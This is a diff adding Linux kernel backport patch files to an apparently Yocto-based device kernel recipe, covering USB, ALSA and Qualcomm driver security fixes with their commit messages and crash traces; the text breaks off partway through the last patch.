b/recipes-kernel/linux/linux-sawfish/autopatcher/0174-add333a81a16-PATCH USB gadgetfs fix useafterfree bug.patch @@ -0,0 +1,71 @@ +From add333a81a16abbd4f106266a2553677a165725f Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Fri, 9 Dec 2016 15:18:43 -0500 +Subject: [PATCH] USB: gadgetfs: fix use-after-free bug + +Andrey Konovalov reports that fuzz testing with syzkaller causes a +KASAN use-after-free bug report in gadgetfs: + +BUG: KASAN: use-after-free in gadgetfs_setup+0x208a/0x20e0 at addr ffff88003dfe5bf2 +Read of size 2 by task syz-executor0/22994 +CPU: 3 PID: 22994 Comm: syz-executor0 Not tainted 4.9.0-rc7+ #16 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + ffff88006df06a18 ffffffff81f96aba ffffffffe0528500 1ffff1000dbe0cd6 + ffffed000dbe0cce ffff88006df068f0 0000000041b58ab3 ffffffff8598b4c8 + ffffffff81f96828 1ffff1000dbe0ccd ffff88006df06708 ffff88006df06748 +Call Trace: + [ 201.343209] [< inline >] __dump_stack lib/dump_stack.c:15 + [ 201.343209] [] dump_stack+0x292/0x398 lib/dump_stack.c:51 + [] kasan_object_err+0x1c/0x70 mm/kasan/report.c:159 + [< inline >] print_address_description mm/kasan/report.c:197 + [] kasan_report_error+0x1f0/0x4e0 mm/kasan/report.c:286 + [< inline >] kasan_report mm/kasan/report.c:306 + [] __asan_report_load_n_noabort+0x3a/0x40 mm/kasan/report.c:337 + [< inline >] config_buf drivers/usb/gadget/legacy/inode.c:1298 + [] gadgetfs_setup+0x208a/0x20e0 drivers/usb/gadget/legacy/inode.c:1368 + [] dummy_timer+0x11f0/0x36d0 drivers/usb/gadget/udc/dummy_hcd.c:1858 + [] call_timer_fn+0x241/0x800 kernel/time/timer.c:1308 + [< inline >] expire_timers kernel/time/timer.c:1348 + [] __run_timers+0xa06/0xec0 kernel/time/timer.c:1641 + [] run_timer_softirq+0x21/0x80 kernel/time/timer.c:1654 + [] __do_softirq+0x2fb/0xb63 kernel/softirq.c:284 + +The cause of the bug is subtle. The dev_config() routine gets called +twice by the fuzzer. The first time, the user data contains both a +full-speed configuration descriptor and a high-speed config +descriptor, causing dev->hs_config to be set. But it also contains an +invalid device descriptor, so the buffer containing the descriptors is +deallocated and dev_config() returns an error. + +The second time dev_config() is called, the user data contains only a +full-speed config descriptor. But dev->hs_config still has the stale +pointer remaining from the first call, causing the routine to think +that there is a valid high-speed config. Later on, when the driver +dereferences the stale pointer to copy that descriptor, we get a +use-after-free access. + +The fix is simple: Clear dev->hs_config if the passed-in data does not +contain a high-speed config descriptor. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +CC: +Signed-off-by: Felipe Balbi +--- + drivers/usb/gadget/legacy/inode.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/usb/gadget/legacy/inode.c b/drivers/usb/gadget/legacy/inode.c +index 01ed3bc0c3c8e..f1ca339426073 100644 +--- a/drivers/usb/gadget/legacy/inode.c ++++ b/drivers/usb/gadget/legacy/inode.c +@@ -1800,6 +1800,8 @@ dev_config (struct file *fd, const char __user *buf, size_t len, loff_t *ptr) + goto fail; + kbuf += total; + length -= total; ++ } else { ++ dev->hs_config = NULL; + } + + /* could support multiple configs, using another encoding! */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0175-06a0f04fa071-x86entrycompat Add missing CLAC to entryINT8032.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0175-06a0f04fa071-x86entrycompat Add missing CLAC to entryINT8032.patch new file mode 100644 index 0000000..9b5cacb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0175-06a0f04fa071-x86entrycompat Add missing CLAC to entryINT8032.patch @@ -0,0 +1,51 @@ +From 06a0f04fa071ac532f619959c6e908bb7e313852 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Fri, 4 Mar 2016 10:46:22 -0800 +Subject: x86/entry/compat: Add missing CLAC to entry_INT80_32 + +commit 3d44d51bd339766f0178f0cf2e8d048b4a4872aa upstream. + +This doesn't seem to fix a regression -- I don't think the CLAC was +ever there. + +I double-checked in a debugger: entries through the int80 gate do +not automatically clear AC. + +Stable maintainers: I can provide a backport to 4.3 and earlier if +needed. This needs to be backported all the way to 3.10. + +Reported-by: Brian Gerst +Signed-off-by: Andy Lutomirski +Cc: Andy Lutomirski +Cc: Borislav Petkov +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Linus Torvalds +Cc: Peter Zijlstra +Cc: Thomas Gleixner +Cc: # v3.10 and later +Fixes: 63bcff2a307b ("x86, smap: Add STAC and CLAC instructions to control user space access") +Link: http://lkml.kernel.org/r/b02b7e71ae54074be01fc171cbd4b72517055c0e.1456345086.git.luto@kernel.org +Signed-off-by: Ingo Molnar +[ kamal: backport to 3.10 through 3.19-stable: file rename; context ] +Signed-off-by: Kamal Mostafa +Signed-off-by: Sasha Levin +--- + arch/x86/ia32/ia32entry.S | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S +index ffe71228fc10c..a39e89eaa7637 100644 +--- a/arch/x86/ia32/ia32entry.S ++++ b/arch/x86/ia32/ia32entry.S +@@ -422,6 +422,7 @@ ENTRY(ia32_syscall) + /*CFI_REL_OFFSET cs,CS-RIP*/ + CFI_REL_OFFSET rip,RIP-RIP + PARAVIRT_ADJUST_EXCEPTION_FRAME ++ ASM_CLAC /* Do this early to minimize exposure */ + SWAPGS + /* + * No need to follow this irqs on/off section: the syscall +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0176-7682e399485f-PATCH ALSA usx2y Suppress kernel warning at page allocation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0176-7682e399485f-PATCH ALSA usx2y Suppress kernel warning at page allocation.patch new file mode 100644 index 0000000..dfcbd42 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0176-7682e399485f-PATCH ALSA usx2y Suppress kernel warning at page allocation.patch @@ -0,0 +1,56 @@ +From 7682e399485fe19622b6fd82510b1f4551e48a25 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 2 Oct 2017 14:06:43 +0200 +Subject: [PATCH] ALSA: usx2y: Suppress kernel warning at page allocation + failures + +The usx2y driver allocates the stream read/write buffers in continuous +pages depending on the stream setup, and this may spew the kernel +warning messages with a stack trace like: + WARNING: CPU: 1 PID: 1846 at mm/page_alloc.c:3883 + __alloc_pages_slowpath+0x1ef2/0x2d70 + Modules linked in: + CPU: 1 PID: 1846 Comm: kworker/1:2 Not tainted + .... + +It may confuse user as if it were any serious error, although this is +no fatal error and the driver handles the error case gracefully. +Since the driver has already some sanity check of the given size (128 +and 256 pages), it can't pass any crazy value. So it's merely page +fragmentation. + +This patch adds __GFP_NOWARN to each caller for suppressing such +kernel warnings. The original issue was spotted by syzkaller. + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Cc: +Signed-off-by: Takashi Iwai +--- + sound/usb/usx2y/usb_stream.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/sound/usb/usx2y/usb_stream.c b/sound/usb/usx2y/usb_stream.c +index 4dab490807009..e229abd216526 100644 +--- a/sound/usb/usx2y/usb_stream.c ++++ b/sound/usb/usx2y/usb_stream.c +@@ -191,7 +191,8 @@ struct usb_stream *usb_stream_new(struct usb_stream_kernel *sk, + } + + pg = get_order(read_size); +- sk->s = (void *) __get_free_pages(GFP_KERNEL|__GFP_COMP|__GFP_ZERO, pg); ++ sk->s = (void *) __get_free_pages(GFP_KERNEL|__GFP_COMP|__GFP_ZERO| ++ __GFP_NOWARN, pg); + if (!sk->s) { + snd_printk(KERN_WARNING "couldn't __get_free_pages()\n"); + goto out; +@@ -211,7 +212,8 @@ struct usb_stream *usb_stream_new(struct usb_stream_kernel *sk, + pg = get_order(write_size); + + sk->write_page = +- (void *)__get_free_pages(GFP_KERNEL|__GFP_COMP|__GFP_ZERO, pg); ++ (void *)__get_free_pages(GFP_KERNEL|__GFP_COMP|__GFP_ZERO| ++ __GFP_NOWARN, pg); + if (!sk->write_page) { + snd_printk(KERN_WARNING "couldn't __get_free_pages()\n"); + usb_stream_free(sk); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0177-0a8fd1346254-PATCH USB fix problems with duplicate endpoint addresses.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0177-0a8fd1346254-PATCH USB fix problems with duplicate endpoint addresses.patch new file mode 100644 index 0000000..f28a1e6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0177-0a8fd1346254-PATCH USB fix problems with duplicate endpoint addresses.patch @@ -0,0 +1,74 @@ +From 0a8fd1346254974c3a852338508e4a4cddbb35f1 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Mon, 19 Dec 2016 12:03:41 -0500 +Subject: [PATCH] USB: fix problems with duplicate endpoint addresses + +When checking a new device's descriptors, the USB core does not check +for duplicate endpoint addresses. This can cause a problem when the +sysfs files for those endpoints are created; trying to create multiple +files with the same name will provoke a WARNING: + +WARNING: CPU: 2 PID: 865 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x8a/0xa0 +sysfs: cannot create duplicate filename +'/devices/platform/dummy_hcd.0/usb2/2-1/2-1:64.0/ep_05' +Kernel panic - not syncing: panic_on_warn set ... + +CPU: 2 PID: 865 Comm: kworker/2:1 Not tainted 4.9.0-rc7+ #34 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 +Workqueue: usb_hub_wq hub_event + ffff88006bee64c8 ffffffff81f96b8a ffffffff00000001 1ffff1000d7dcc2c + ffffed000d7dcc24 0000000000000001 0000000041b58ab3 ffffffff8598b510 + ffffffff81f968f8 ffffffff850fee20 ffffffff85cff020 dffffc0000000000 +Call Trace: + [< inline >] __dump_stack lib/dump_stack.c:15 + [] dump_stack+0x292/0x398 lib/dump_stack.c:51 + [] panic+0x1cb/0x3a9 kernel/panic.c:179 + [] __warn+0x1c4/0x1e0 kernel/panic.c:542 + [] warn_slowpath_fmt+0xc5/0x110 kernel/panic.c:565 + [] sysfs_warn_dup+0x8a/0xa0 fs/sysfs/dir.c:30 + [] sysfs_create_dir_ns+0x178/0x1d0 fs/sysfs/dir.c:59 + [< inline >] create_dir lib/kobject.c:71 + [] kobject_add_internal+0x227/0xa60 lib/kobject.c:229 + [< inline >] kobject_add_varg lib/kobject.c:366 + [] kobject_add+0x139/0x220 lib/kobject.c:411 + [] device_add+0x353/0x1660 drivers/base/core.c:1088 + [] device_register+0x1d/0x20 drivers/base/core.c:1206 + [] usb_create_ep_devs+0x163/0x260 drivers/usb/core/endpoint.c:195 + [] create_intf_ep_devs+0x13b/0x200 drivers/usb/core/message.c:1030 + [] usb_set_configuration+0x1083/0x18d0 drivers/usb/core/message.c:1937 + [] generic_probe+0x6e/0xe0 drivers/usb/core/generic.c:172 + [] usb_probe_device+0xaa/0xe0 drivers/usb/core/driver.c:263 + +This patch prevents the problem by checking for duplicate endpoint +addresses during enumeration and skipping any duplicates. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +CC: +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/core/config.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c +index 0aa9e7d697a5d..25dbd8c7aec73 100644 +--- a/drivers/usb/core/config.c ++++ b/drivers/usb/core/config.c +@@ -239,6 +239,16 @@ static int usb_parse_endpoint(struct device *ddev, int cfgno, int inum, + if (ifp->desc.bNumEndpoints >= num_ep) + goto skip_to_next_endpoint_or_interface_descriptor; + ++ /* Check for duplicate endpoint addresses */ ++ for (i = 0; i < ifp->desc.bNumEndpoints; ++i) { ++ if (ifp->endpoint[i].desc.bEndpointAddress == ++ d->bEndpointAddress) { ++ dev_warn(ddev, "config %d interface %d altsetting %d has a duplicate endpoint with address 0x%X, skipping\n", ++ cfgno, inum, asnum, d->bEndpointAddress); ++ goto skip_to_next_endpoint_or_interface_descriptor; ++ } ++ } ++ + endpoint = &ifp->endpoint[ifp->desc.bNumEndpoints]; + ++ifp->desc.bNumEndpoints; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0178-f9a1c372299f-PATCH ALSA usx2y Fix invalid stream URBs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0178-f9a1c372299f-PATCH ALSA usx2y Fix invalid stream URBs.patch new file mode 100644 index 0000000..f33cb0d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0178-f9a1c372299f-PATCH ALSA usx2y Fix invalid stream URBs.patch @@ -0,0 +1,96 @@ +From f9a1c372299fed53d4b72bb601f7f3bfe6f9999c Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 6 Nov 2017 10:47:14 +0100 +Subject: [PATCH] ALSA: usx2y: Fix invalid stream URBs + +The us122l driver creates URBs per the fixed endpoints, and this may +end up with URBs with inconsistent pipes when a fuzzer or a malicious +program deals with the manipulated endpoints. It ends up with a +kernel warning like: + + usb 1-1: BOGUS urb xfer, pipe 0 != type 3 + ------------[ cut here ]------------ + WARNING: CPU: 0 PID: 24 at drivers/usb/core/urb.c:471 + usb_submit_urb+0x113e/0x1400 + Call Trace: + usb_stream_start+0x48a/0x9f0 sound/usb/usx2y/usb_stream.c:690 + us122l_start+0x116/0x290 sound/usb/usx2y/us122l.c:365 + us122l_create_card sound/usb/usx2y/us122l.c:502 + us122l_usb_probe sound/usb/usx2y/us122l.c:588 + .... + +For avoiding the bad access, this patch adds a few sanity checks of +the validity of created URBs like previous similar fixes using the new +usb_urb_ep_type_check() helper function. + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Takashi Iwai +--- + sound/usb/usx2y/usb_stream.c | 23 +++++++++++++++++------ + 1 file changed, 17 insertions(+), 6 deletions(-) + +diff --git a/sound/usb/usx2y/usb_stream.c b/sound/usb/usx2y/usb_stream.c +index e229abd216526..b0f8979ff2d2f 100644 +--- a/sound/usb/usx2y/usb_stream.c ++++ b/sound/usb/usx2y/usb_stream.c +@@ -56,7 +56,7 @@ static void playback_prep_freqn(struct usb_stream_kernel *sk, struct urb *urb) + lb, s->period_size); + } + +-static void init_pipe_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, ++static int init_pipe_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + struct urb **urbs, char *transfer, + struct usb_device *dev, int pipe) + { +@@ -77,6 +77,8 @@ static void init_pipe_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + urb->interval = 1; + if (usb_pipeout(pipe)) + continue; ++ if (usb_urb_ep_type_check(urb)) ++ return -EINVAL; + + urb->transfer_buffer_length = transfer_length; + desc = urb->iso_frame_desc; +@@ -87,9 +89,11 @@ static void init_pipe_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + desc[p].length = maxpacket; + } + } ++ ++ return 0; + } + +-static void init_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, ++static int init_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + struct usb_device *dev, int in_pipe, int out_pipe) + { + struct usb_stream *s = sk->s; +@@ -103,9 +107,12 @@ static void init_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + sk->outurb[u] = usb_alloc_urb(sk->n_o_ps, GFP_KERNEL); + } + +- init_pipe_urbs(sk, use_packsize, sk->inurb, indata, dev, in_pipe); +- init_pipe_urbs(sk, use_packsize, sk->outurb, sk->write_page, dev, +- out_pipe); ++ if (init_pipe_urbs(sk, use_packsize, sk->inurb, indata, dev, in_pipe) || ++ init_pipe_urbs(sk, use_packsize, sk->outurb, sk->write_page, dev, ++ out_pipe)) ++ return -EINVAL; ++ ++ return 0; + } + + +@@ -226,7 +233,11 @@ struct usb_stream *usb_stream_new(struct usb_stream_kernel *sk, + else + sk->freqn = get_usb_high_speed_rate(sample_rate); + +- init_urbs(sk, use_packsize, dev, in_pipe, out_pipe); ++ if (init_urbs(sk, use_packsize, dev, in_pipe, out_pipe) < 0) { ++ usb_stream_free(sk); ++ return NULL; ++ } ++ + sk->s->state = usb_stream_stopped; + out: + return sk->s; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0179-6815a0b44457-PATCH ALSA bcd2000 Add a sanity check for invalid EPs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0179-6815a0b44457-PATCH ALSA bcd2000 Add a sanity check for invalid EPs.patch new file mode 100644 index 0000000..3590c21 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0179-6815a0b44457-PATCH ALSA bcd2000 Add a sanity check for invalid EPs.patch @@ -0,0 +1,52 @@ +From 6815a0b444572527256f0d0efd8efe3ddede6018 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Wed, 4 Oct 2017 15:03:40 +0200 +Subject: [PATCH] ALSA: bcd2000: Add a sanity check for invalid EPs + +As syzkaller spotted, currently bcd2000 driver submits a URB with the +fixed EP without checking whether it's actually available, which may +result in a kernel warning like: + usb 1-1: BOGUS urb xfer, pipe 1 != type 3 + ------------[ cut here ]------------ + WARNING: CPU: 0 PID: 1846 at drivers/usb/core/urb.c:449 + usb_submit_urb+0xf8a/0x11d0 + Modules linked in: + CPU: 0 PID: 1846 Comm: kworker/0:2 Not tainted + 4.14.0-rc2-42613-g1488251d1a98 #238 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + Workqueue: usb_hub_wq hub_event + Call Trace: + bcd2000_init_device sound/usb/bcd2000/bcd2000.c:289 + bcd2000_init_midi sound/usb/bcd2000/bcd2000.c:345 + bcd2000_probe+0xe64/0x19e0 sound/usb/bcd2000/bcd2000.c:406 + usb_probe_interface+0x35d/0x8e0 drivers/usb/core/driver.c:361 + .... + +This patch adds a sanity check of validity of EPs at the device +initialization phase for avoiding the call with an invalid EP. + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Takashi Iwai +--- + sound/usb/bcd2000/bcd2000.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/sound/usb/bcd2000/bcd2000.c b/sound/usb/bcd2000/bcd2000.c +index 7371e5b060356..a6408209d7f1d 100644 +--- a/sound/usb/bcd2000/bcd2000.c ++++ b/sound/usb/bcd2000/bcd2000.c +@@ -342,6 +342,13 @@ static int bcd2000_init_midi(struct bcd2000 *bcd2k) + bcd2k->midi_out_buf, BUFSIZE, + bcd2000_output_complete, bcd2k, 1); + ++ /* sanity checks of EPs before actually submitting */ ++ if (usb_urb_ep_type_check(bcd2k->midi_in_urb) || ++ usb_urb_ep_type_check(bcd2k->midi_out_urb)) { ++ dev_err(&bcd2k->dev->dev, "invalid MIDI EP\n"); ++ return -EINVAL; ++ } ++ + bcd2000_init_device(bcd2k); + + return 0; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0180-ffacf6e2dc41-msm ipa fix the potential heap overflow on wandriver.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0180-ffacf6e2dc41-msm ipa fix the potential heap overflow on wandriver.patch new file mode 100644 index 0000000..87ce858 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0180-ffacf6e2dc41-msm ipa fix the potential heap overflow on wandriver.patch @@ -0,0 +1,84 @@ +From ffacf6e2dc41b6063c3564791ed7a2f903e7e3b7 Mon Sep 17 00:00:00 2001 +From: Skylar Chang +Date: Wed, 30 Nov 2016 14:41:24 -0800 +Subject: msm: ipa: fix the potential heap overflow on wan-driver + +Add the check on rmnet_ipa3_set_tether_client_pipe API +to make sure not accessing move than QMI_IPA_MAX_PIPES_V01 +entries when user-space module compromised. + +Change-Id: I59d39c7e5743dfea17853b6c4709605d4ebae962 +Signed-off-by: Skylar Chang +--- + drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c | 19 ++++++++++++++++++- + drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c | 17 +++++++++++++++++ + 2 files changed, 35 insertions(+), 1 deletion(-) + +diff --git a/drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c b/drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c +index f81d637..2c43fc52 100644 +--- a/drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c ++++ b/drivers/platform/msm/ipa/ipa_v2/rmnet_ipa.c +@@ -2507,7 +2507,7 @@ int rmnet_ipa_set_data_quota(struct wan_ioctl_set_data_quota *data) + * + * Return codes: + * 0: Success +- * -EFAULT: Invalid interface name provided ++ * -EFAULT: Invalid src/dst pipes provided + * other: See ipa_qmi_set_data_quota + */ + int rmnet_ipa_set_tether_client_pipe( +@@ -2515,6 +2515,23 @@ int rmnet_ipa_set_tether_client_pipe( + { + int number, i; + ++ /* error checking if ul_src_pipe_len valid or not*/ ++ if (data->ul_src_pipe_len > QMI_IPA_MAX_PIPES_V01 || ++ data->ul_src_pipe_len < 0) { ++ IPAWANERR("UL src pipes %d exceeding max %d\n", ++ data->ul_src_pipe_len, ++ QMI_IPA_MAX_PIPES_V01); ++ return -EFAULT; ++ } ++ /* error checking if dl_dst_pipe_len valid or not*/ ++ if (data->dl_dst_pipe_len > QMI_IPA_MAX_PIPES_V01 || ++ data->dl_dst_pipe_len < 0) { ++ IPAWANERR("DL dst pipes %d exceeding max %d\n", ++ data->dl_dst_pipe_len, ++ QMI_IPA_MAX_PIPES_V01); ++ return -EFAULT; ++ } ++ + IPAWANDBG("client %d, UL %d, DL %d, reset %d\n", + data->ipa_client, + data->ul_src_pipe_len, +diff --git a/drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c b/drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c +index 4ed2728..78187c9 100644 +--- a/drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c ++++ b/drivers/platform/msm/ipa/ipa_v3/rmnet_ipa.c +@@ -2607,6 +2607,23 @@ int rmnet_ipa3_set_tether_client_pipe( + { + int number, i; + ++ /* error checking if ul_src_pipe_len valid or not*/ ++ if (data->ul_src_pipe_len > QMI_IPA_MAX_PIPES_V01 || ++ data->ul_src_pipe_len < 0) { ++ IPAWANERR("UL src pipes %d exceeding max %d\n", ++ data->ul_src_pipe_len, ++ QMI_IPA_MAX_PIPES_V01); ++ return -EFAULT; ++ } ++ /* error checking if dl_dst_pipe_len valid or not*/ ++ if (data->dl_dst_pipe_len > QMI_IPA_MAX_PIPES_V01 || ++ data->dl_dst_pipe_len < 0) { ++ IPAWANERR("DL dst pipes %d exceeding max %d\n", ++ data->dl_dst_pipe_len, ++ QMI_IPA_MAX_PIPES_V01); ++ return -EFAULT; ++ } ++ + IPAWANDBG("client %d, UL %d, DL %d, reset %d\n", + data->ipa_client, + data->ul_src_pipe_len, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0181-015d1d5dc8c4-PATCH QBT1000 check for null pointer before copying command.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0181-015d1d5dc8c4-PATCH QBT1000 check for null pointer before copying command.patch new file mode 100644 index 0000000..3af62a3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0181-015d1d5dc8c4-PATCH QBT1000 check for null pointer before copying command.patch @@ -0,0 +1,39 @@ +From 015d1d5dc8c42d6ab92a31b99cd9f089fae1d27e Mon Sep 17 00:00:00 2001 +From: Dennis Cagle +Date: Fri, 6 Jan 2017 15:50:35 -0800 +Subject: [PATCH] QBT1000: check for null pointer before copying command + +A null command buffer will cause a null pointer crash. +Check for it. + +Bug: 32372915 +Bug: 32370896 +CRs-fixed: 1041652, 1081802 +Change-Id: I37a0c8b9fe2c144fb4e75036509bf7ec07604ea7 +Signed-off-by: Lior Barenboim +Signed-off-by: Dennis Cagle +--- + drivers/soc/qcom/qbt1000.c | 7 +++++++ + 1 file changed, 7 insertions(+) + mode change 100644 => 100755 drivers/soc/qcom/qbt1000.c + +diff --git a/drivers/soc/qcom/qbt1000.c b/drivers/soc/qcom/qbt1000.c +old mode 100644 +new mode 100755 +index 135e2b834db30..101fcedd1f2c0 +--- a/drivers/soc/qcom/qbt1000.c ++++ b/drivers/soc/qcom/qbt1000.c +@@ -862,6 +862,13 @@ static long qbt1000_ioctl(struct file *file, unsigned cmd, unsigned long arg) + if (rc != 0) + goto end; + ++ if (!aligned_cmd) { ++ dev_err(drvdata->dev, "%s: Null command buffer\n", ++ __func__); ++ rc = -EINVAL; ++ goto end; ++ } ++ + rc = copy_from_user(aligned_cmd, (void __user *)tzcmd.req_buf, + tzcmd.req_buf_len); + if (rc != 0) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0182-dbe4f26f200d-msm cpp Fix for integer overflow in cpp.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0182-dbe4f26f200d-msm cpp Fix for integer overflow in cpp.patch new file mode 100644 index 0000000..21f4cc9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0182-dbe4f26f200d-msm cpp Fix for integer overflow in cpp.patch @@ -0,0 +1,46 @@ +From dbe4f26f200db10deaf38676b96d8738afcc10c8 Mon Sep 17 00:00:00 2001 +From: Kumar Behera +Date: Fri, 9 Dec 2016 09:55:00 -0800 +Subject: msm: cpp: Fix for integer overflow in cpp + +Due to integer overflow ,the bound check in config frame function +may pass and this may allow user to access invalid buffer. This +fix takes care of proper bound and don't allow integer overflow. + +CRs-Fxied: 1097709 +Change-Id: I504ad591633afaba82268b5ee27a321691d75c80 +Signed-off-by: Kumar Behera +--- + drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c b/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c +index f64f79b..e81a9f9 100644 +--- a/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c ++++ b/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c +@@ -2376,7 +2376,7 @@ static int msm_cpp_cfg_frame(struct cpp_device *cpp_dev, + struct msm_buf_mngr_info buff_mgr_info, dup_buff_mgr_info; + int32_t in_fd; + int32_t num_output_bufs = 1; +- int32_t stripe_base = 0; ++ uint32_t stripe_base = 0; + uint32_t stripe_size; + uint8_t tnr_enabled; + enum msm_camera_buf_mngr_buf_type buf_type = +@@ -2411,6 +2411,13 @@ static int msm_cpp_cfg_frame(struct cpp_device *cpp_dev, + return -EINVAL; + } + ++ if (stripe_base == UINT_MAX || new_frame->num_strips > ++ (UINT_MAX - 1 - stripe_base) / stripe_size) { ++ pr_err("Invalid frame message,num_strips %d is large\n", ++ new_frame->num_strips); ++ return -EINVAL; ++ } ++ + if ((stripe_base + new_frame->num_strips * stripe_size + 1) != + new_frame->msg_len) { + pr_err("Invalid frame message,len=%d,expected=%d\n", +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0183-530f3a0fd837-ASoC msmlsmclient cleanup ioctl functions.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0183-530f3a0fd837-ASoC msmlsmclient cleanup ioctl functions.patch new file mode 100644 index 0000000..8c9dd35 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0183-530f3a0fd837-ASoC msmlsmclient cleanup ioctl functions.patch @@ -0,0 +1,275 @@ +From 530f3a0fd837ed105eddaf99810bc13d97dc4302 Mon Sep 17 00:00:00 2001 +From: Bhalchandra Gajare +Date: Thu, 15 Dec 2016 16:43:45 -0800 +Subject: ASoC: msm-lsm-client: cleanup ioctl functions + +Some of the ioctl command handling is not properly using the +copy_from_user interface. Fix these issues and cleanup the ioctl +functions to make sure there is no illegal memory access. + +CRs-Fixed: 1087469 +Change-Id: Ieb1beb92e7854a05b8045de0ce179d12c9a6da74 +Signed-off-by: Bhalchandra Gajare +--- + sound/soc/msm/qdsp6v2/msm-lsm-client.c | 131 ++++++++++----------------------- + 1 file changed, 40 insertions(+), 91 deletions(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-lsm-client.c b/sound/soc/msm/qdsp6v2/msm-lsm-client.c +index 32a16bf..c365220 100644 +--- a/sound/soc/msm/qdsp6v2/msm-lsm-client.c ++++ b/sound/soc/msm/qdsp6v2/msm-lsm-client.c +@@ -727,8 +727,13 @@ static int msm_lsm_ioctl_shared(struct snd_pcm_substream *substream, + switch (cmd) { + case SNDRV_LSM_SET_SESSION_DATA: + dev_dbg(rtd->dev, "%s: set session data\n", __func__); +- memcpy(&session_data, arg, +- sizeof(struct snd_lsm_session_data)); ++ if (copy_from_user(&session_data, arg, ++ sizeof(session_data))) { ++ dev_err(rtd->dev, "%s: %s: copy_from_user failed\n", ++ __func__, "LSM_SET_SESSION_DATA"); ++ return -EFAULT; ++ } ++ + if (session_data.app_id != LSM_VOICE_WAKEUP_APP_ID_V2) { + dev_err(rtd->dev, + "%s:Invalid App id %d for Listen client\n", +@@ -817,13 +822,6 @@ static int msm_lsm_ioctl_shared(struct snd_pcm_substream *substream, + break; + + case SNDRV_LSM_SET_PARAMS: +- if (!arg) { +- dev_err(rtd->dev, +- "%s: %s Invalid argument\n", +- __func__, "SNDRV_LSM_SET_PARAMS"); +- return -EINVAL; +- } +- + dev_dbg(rtd->dev, "%s: set_params\n", __func__); + memcpy(&det_params, arg, + sizeof(det_params)); +@@ -975,45 +973,43 @@ static int msm_lsm_ioctl_shared(struct 